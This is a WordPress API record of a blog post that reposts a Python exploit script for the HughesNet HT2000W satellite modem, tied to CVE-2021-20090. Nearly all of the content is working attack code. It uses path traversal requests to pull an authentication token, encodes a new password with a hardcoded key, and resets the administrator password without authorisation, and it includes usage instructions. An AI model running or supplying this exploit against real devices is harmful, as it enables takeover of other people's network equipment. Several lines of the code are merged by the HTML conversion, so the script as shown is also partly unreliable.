{"id":59165,"date":"2024-08-26T19:29:34","date_gmt":"2024-08-26T16:29:34","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180367\/hughesnet-passwordreset.txt"},"modified":"2024-08-26T19:29:34","modified_gmt":"2024-08-26T16:29:34","slug":"hughesnet-ht2000w-satellite-modem-password-reset","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hughesnet-ht2000w-satellite-modem-password-reset\/","title":{"rendered":"HughesNet HT2000W Satellite Modem Password Reset"},"content":{"rendered":"<p># Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) &#8211; Password Reset<br \/># Date: 7\/16\/24<br \/># Exploit Author: Simon Greenblatt &lt;simongreenblatt[at]protonmail.com&gt;<br \/># Vendor: HughesNet<br \/># Version: Arcadyan httpd 1.0<br \/># Tested on: Linux<br \/># CVE: CVE-2021-20090<\/p>\n<p>import sys<br \/>import requests<br \/>import re<br \/>import base64<br \/>import hashlib<br \/>import urllib<\/p>\n<p>red = &#8220;\\033[0;41m&#8221;<br \/>green = &#8220;\\033[1;34;42m&#8221;<br \/>reset = &#8220;\\033[0m&#8221;<\/p>\n<p>def print_banner():<br \/>print(green + &#8221;&#8217;<br \/>_____________ _______________ _______________ ________ ____ _______________ _______ _______________ <br \/>\\_ ___ \\ \\ \/ \/\\_ _____\/ \\_____ \\ _ \\ \\_____ \\\/_ | \\_____ \\ _ \\ \\ _ \\\/ __ \\ _ \\ <br \/>\/ \\ \\\/\\ Y \/ | __)_ ______ \/ ____\/ \/_\\ \\ \/ ____\/ | | ______ \/ ____\/ \/_\\ \\\/ \/_\\ \\____ \/ \/_\\ \\ <br \/>\\ \\____\\ \/ | \\ \/_____\/ \/ \\ \\_\/ \\\/ \\ | | \/_____\/ \/ \\ \\_\/ \\ \\_\/ \\ \/ \/\\ \\_\/ \\ <br \/>\\______ \/ \\___\/ \/_______ \/ \\_______ \\_____ \/\\_______ \\|___| \\_______ \\_____ \/\\_____ \/\/____\/ \\_____ \/ <br \/>\\\/ \\\/ \\\/ \\\/ \\\/ \\\/ \\\/ \\\/ \\\/ \\n&#8221;&#8217; + reset)<br \/>print(&#8221; Administrator password reset for HughesNet HT2000W Satellite Modem&#8221;)<br \/>print(&#8221;&#8217;<br \/>Usage: python3 hughes_ht2000w_pass_reset.py &lt;password&gt; &lt;ip_address&gt;<br \/>&lt;password&gt;: The new administrator password<br \/>&lt;ip_address&gt;: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\\n<br \/>This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset<br \/>the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as<br \/>improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.&#8221;&#8217;)<br \/>return None<\/p>\n<p>def get_httoken(ip_address):<br \/># Make a GET request to system_p.htm using path traversal<br \/>r = requests.get(f&#8217;http:\/\/{ip_address}\/images\/..%2fsystem_p.htm&#8217;)<br \/>if r.status_code != 200:<br \/>print(red + f&#8221;(-) Failure: Could not request system_p.htm&#8221; + reset)<br \/>exit()<br \/># Extract the httoken hidden in the DOM and convert it from Base64<br \/>return base64.b64decode(re.search(r&#8217;AAAIBRAA7(.*?)&#8221;&#8216;, r.text).group(1)).decode(&#8216;ascii&#8217;)<\/p>\n<p>def encode_pass(password):<br \/># Vigenere Cipher<br \/>key = &#8220;wg7005d&#8221;<br \/>enc_pass = &#8220;&#8221;<br \/>idx = 0<br \/>for c in password:<br \/>enc_pass += str(ord(c) + ord(key[idx])) + &#8220;+&#8221;<br \/>idx = (idx + 1) % len(key)<br \/>return enc_pass<\/p>\n<p>def change_pass(ip_address, httoken, enc_pass):<br \/># Create a POST request with the httoken and the encoded password<br \/>headers = {&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;, &#8216;Referer&#8217;: f&#8217;http:\/\/{ip_address}\/system_p.htm&#8217;}<br \/>payload = {&#8216;action&#8217;: &#8216;ui_system_p&#8217;, &#8216;httoken&#8217;: httoken, &#8216;submit_button&#8217;: &#8216;system_p.htm&#8217;, &#8216;ARC_SYS_Password&#8217;: enc_pass}<br \/>payload = urllib.parse.urlencode(payload, safe=&#8217;:+&#8217;)<br \/>try:<br \/>r = requests.post(f&#8217;http:\/\/{ip_address}\/images\/..%2fapply_abstract.cgi&#8217;, data = payload, headers = headers)<br \/>except:<br \/>pass<br \/>return None<\/p>\n<p>def verify_pass(ip_address, new_pass):<br \/># Make a GET request to cgi_sys_p.js to verify password<br \/>httoken = get_httoken(ip_address)<br \/>headers = {&#8216;Referer&#8217;: f&#8217;http:\/\/{ip_address}\/system_p.htm&#8217;}<br \/>r = requests.get(f&#8217;http:\/\/{ip_address}\/images\/..%2fcgi\/cgi_sys_p.js?_tn={httoken}&#8217;, headers = headers)<br \/>if r.text.split(&#8216;&#8221;&#8216;)[5] != hashlib.md5(bytes(new_pass, &#8216;ascii&#8217;)).hexdigest():<br \/>print(red + &#8220;(-) Failure: Could not verify the hash of the password&#8221; + reset)<br \/>exit()<\/p>\n<p>def main():<br \/>if not (len(sys.argv) == 2 or len(sys.argv) == 3):<br \/>print_banner()<br \/>return<br \/>new_pass = sys.argv[1]ip_address = &#8220;192.168.42.1&#8221;<br \/>if sys.argv == 3:<br \/>ip_address = sys.argv[2]httoken = get_httoken(ip_address)<br \/>print(f&#8221;[+] Obtained httoken: {httoken}&#8221;)<br \/>enc_pass = encode_pass(new_pass)<br \/>change_pass(ip_address, httoken, enc_pass)<br \/>print(f&#8221;[+] Password reset to: {new_pass}&#8221;)<br \/>verify_pass(ip_address, new_pass)<br \/>print(&#8220;[+] Verified password hash: &#8221; + hashlib.md5(bytes(new_pass, &#8216;ascii&#8217;)).hexdigest())<br \/>print(&#8220;[+] Password successfully changed!&#8221;)<br \/>return<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) &#8211; Password Reset# Date: 7\/16\/24# Exploit Author: Simon Greenblatt &lt;simongreenblatt[at]protonmail.com&gt;# Vendor: HughesNet# Version: Arcadyan httpd 1.0# Tested on: Linux# CVE: CVE-2021-20090 import sysimport requestsimport reimport base64import hashlibimport urllib red = &#8220;\\033[0;41m&#8221;green = &#8220;\\033[1;34;42m&#8221;reset = &#8220;\\033[0m&#8221; def print_banner():print(green + &#8221;&#8217;_____________ _______________ _______________ ________ ____ _______________ _______ &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59165","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59165"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59165\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}